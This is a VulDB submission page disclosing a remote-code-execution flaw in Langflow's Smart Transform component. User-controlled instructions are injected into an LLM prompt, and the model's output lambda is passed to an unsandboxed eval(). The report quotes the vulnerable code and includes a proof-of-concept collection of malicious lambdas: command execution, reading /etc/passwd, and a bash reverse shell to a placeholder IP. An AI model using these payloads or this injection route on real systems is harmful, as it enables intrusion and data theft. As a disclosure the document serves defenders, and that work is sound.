提交 #804305: langflow-ai Langflow Desktop 1.8.3 Execution with Unnecessary Privileges信息

标题langflow-ai Langflow Desktop 1.8.3 Execution with Unnecessary Privileges
描述# 1. Vulnerability Description Langflow features a built-in component called **Smart Transform** (corresponding to `LambdaFilterComponent` in the source code). Its purpose is to allow LLMs to dynamically generate Python lambdas for data transformation. While the concept is innovative, the implementation is dangerously flawed: the lambda string produced by the LLM undergoes a superficial validation before being passed directly to `eval()` for execution, completely lacking a sandbox environment. The vulnerability stems from the convergence of three critical flaws: 1. `_validate_lambda()` performs fake validation that is easily bypassed. 2. `eval()` executes code "naked," without any environment restrictions. 3. User input is directly formatted into the LLM Prompt, making Prompt Injection trivial. **Affected Versions:** All Open Source versions up to 1.8.3, and Closed Source version 1.8.4. --- # 2. Directory Structure ```plain langflow-1.8.1/src/ ├── lfx\src\lfx/ │ ├── components/ │ │ ├── llm_operations/ │ │ │ ├── lambda_filter.py # Core vulnerability file (eval in _parse_lambda_from_response) │ ├── base/ │ │ ├── models/ │ │ │ ├── unified_models.py # LLM model retrieval (get_llm) │ └── custom/ │ ├── custom_component/ │ │ ├── component.py # Component base class │ └── schema/ │ └── data.py │ └── dataframe.py │ └── message.py └── backend/base/langflow/ # LFX Graph Engine ├── api/v1/ └── endpoints.py # API Entry point ``` --- # LLM Prompt Templates User data and instructions are directly formatted into the Prompt, which is the root cause of the Prompt Injection. ```plain # Text Transformation Prompt ({instruction} and {text_preview} are user-controlled) TEXT_TRANSFORM_PROMPT = ( "Given this text, create a Python lambda function that transforms it " "according to the instruction.\n" "The lambda should take a string parameter and return the transformed string.\n\n" "Text Preview:\n{text_preview}\n\n" # User data injection "Instruction: {instruction}\n\n" # User instruction injection "Return ONLY the lambda function and nothing else..." ) # Structured Data Prompt ({data_sample} and {instruction} are user-controlled) DATA_TRANSFORM_PROMPT = ( "Given this data structure and examples, create a Python lambda function " "that implements the following instruction:\n\n" "Data Structure:\n{dump_structure}\n\n" "Example Items:\n{data_sample}\n\n" # User data injection "Instruction: {instruction}\n\n" # User instruction injection "Return ONLY the lambda function and nothing else..." ) ``` --- # 3. Root Cause Analysis (Three Security Issues) ## 3.1 Issue 1: "Naked" eval() Execution of LLM-generated Lambdas File location: `src/lfx/src/lfx/components/llm_operations/lambda_filter.py:250-264` ```python def _parse_lambda_from_response(self, response_text: str) -> Callable[[Any], Any]: """Extract and validate lambda function from LLM response.""" lambda_match = re.search(r"lambda\s+\w+\s*:.*?(?=\n|$)", response_text) if not lambda_match: msg = f"Could not find lambda in response: {response_text}" raise ValueError(msg) lambda_text = lambda_match.group().strip() self.log(f"Generated lambda: {lambda_text}") if not self._validate_lambda(lambda_text): # Useless validation, see 3.2 msg = f"Invalid lambda format: {lambda_text}" raise ValueError(msg) return eval(lambda_text) # noqa: S307 # Sink point ``` The issue here is straightforward: `eval(lambda_text)` provides no execution environment limits. Any Python expression within the lambda body will run. It fails to set `globals={"__builtins__": {}}`, and the `# noqa: S307` comment merely silences the linter without providing any actual security. Since the LLM response serves as the direct input for `eval`, the attack surface is wide open. --- ## 3.2 Issue 2: `_validate_lambda()` is Purely Cosmetic File location: `src/lfx/src/lfx/components/llm_operations/lambda_filter.py:155-158` ```python def _validate_lambda(self, lambda_text: str) -> bool: """Validate the provided lambda function text.""" # Return False if the lambda function does not start with 'lambda' or does not contain a colon return lambda_text.strip().startswith("lambda") and ":" in lambda_text ``` This "validation" only checks two things: does it start with `lambda` and does it contain a colon. All valid (and malicious) lambda syntax naturally satisfies these conditions, rendering the check useless. There is no AST analysis, no blacklists, and no whitelists. The following malicious lambdas all pass this check: ### Malicious Lambda Examples **System Command Execution:** ```python lambda x: __import__('os').system('id') lambda data: __import__('os').popen('id').read() lambda x: exec('import subprocess;subprocess.run(["id"])') ``` **Sensitive File Read:** ```python lambda x: open('/etc/passwd').read() ``` **Reverse Shell:** ```python lambda x: __import__('os').system('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"') ``` --- ## 3.3 Issue 3: User-Controlled LLM Input — Prompt Injection Surface File location: `src/lfx/src/lfx/components/llm_operations/lambda_filter.py:219-248` ```python def _build_text_prompt(self, text: str) -> str: """Build prompt for text/Message transformation.""" # ... return TEXT_TRANSFORM_PROMPT.format(text_preview=text_preview, instruction=self.filter_instruction) # Both text_preview and instruction are injectable def _build_data_prompt(self, data: dict | list) -> str: """Build prompt for structured data transformation.""" # ... return DATA_TRANSFORM_PROMPT.format( dump_structure=dump_structure, data_sample=data_sample, instruction=self.filter_instruction ) # data_sample and instruction are also injectable ``` The `instruction` field can be edited directly in the Flow component, which is where the PoC is written. `text_preview` and `data_sample` are passed from upstream components, allowing for the injection of malicious text or structured data. Any of these three injection points can force the LLM to output a malicious lambda. --- ## 3.4 Execution Flow: `_execute_lambda()` File location: `src/lfx/src/lfx/components/llm_operations/lambda_filter.py:266-280` ```python async def _execute_lambda(self) -> Any: """Generate and execute a lambda function based on input type.""" if self._is_message_input(): data: Any = self._extract_message_text() # Extract user data prompt = self._build_text_prompt(data) # Inject data into Prompt else: data = self._extract_structured_data() # Extract user data prompt = self._build_data_prompt(data) # Inject data into Prompt llm = get_llm(model=self.model, user_id=self.user_id, api_key=self.api_key) response = await llm.ainvoke(prompt) # Invoke LLM response_text = response.content if hasattr(response, "content") else str(response) fn = self._parse_lambda_from_response(response_text) # Parse return fn(data) # Execute lambda ``` From the moment user input enters the system until `fn(data)` is executed, there is no effective security gate in the entire chain. --- # 4. Full Attack Chain The process is as follows: 1. `_execute_lambda()` receives input; `_is_message_input()` determines the type. 2. `_build_text_prompt(data)` injects a malicious `instruction` into the Prompt. 3. `llm.ainvoke(prompt)` calls the LLM, which returns the malicious lambda. 4. `re.search(r"lambda\s+\w+\s*:.*?(?=\n|$)")` extracts the lambda string. 5. `_validate_lambda(lambda_text)` performs the fake validation and passes. 6. `eval()` executes, creating the lambda object. 7. `fn(data)` is triggered, resulting in **RCE**. --- # 5. Key Functions ## 5.1 Flow Execution Entry Points File location: `src/lfx/src/lfx/components/llm_operations/lambda_filter.py:323-345` ```python async def process_as_data(self) -> Data: """Process the data and return as a Data object.""" try: result = await self._execute_lambda() return self._convert_result_to_data(result) except Exception as e: self._handle_process_error(e, "Data") async def process_as_dataframe(self) -> DataFrame: # ... calls _execute_lambda() async def process_as_message(self) -> Message: # ... calls _execute_lambda() ``` All three methods (`process_as_data`, `process_as_dataframe`, `process_as_message`) rely on `_execute_lambda()`, meaning the vulnerability can be triggered regardless of which output port is used. --- # 6. Exploit (PoC) ## 6.1 Prerequisites 1. Target is running Langflow <= 1.8.3 (Open Source) or 1.8.4 (Closed Source). 2. Ability to create, edit, and run a Flow. 3. Ability to add the Smart Transform component. ## 6.2 Exploitation Steps ### Open Source Version 1.8.3 Build the Flow as shown in the provided screenshots. In the `instructions` field, input the PoC. Trigger the execution with any input to run the command. ### POC Collection **System Command Execution:** ```python lambda x: __import__('os').system('id') lambda data: __import__('os').popen('id').read() lambda x: exec('import subprocess;subprocess.run(["id"])') ``` **Read Sensitive File:** ```python lambda x: open('/etc/passwd').read() ``` **Reverse Shell:** ```python lambda x: __import__('os').system('bash -c "bash -i >& /dev/tcp/IP/PORT 0>&1"') ``` **Write File:** ```pytho
来源⚠️ https://www.yuque.com/mengnanbulalei/ognlsk/hte2a98ro5gf8tp9?singleDoc#%20%E3%80%8AFirst%20release%20of%20Langflow%201.8.3%20Smart%20Transform%20eval()/Lambda%20injection%20RCE%20vulnerability%20analysis+POC%E3%80%8B
用户
 wenject (UID 97352)
提交2026-04-14 11時10分 (2 月前)
管理2026-05-02 22時24分 (18 days later)
状态已接受
VulDB条目360869 [langflow-ai langflow 直到 1.8.4 LambdaFilterComponent lambda_filter.p eval 权限提升]
积分20

Do you know our Splunk app?

Download it now for free!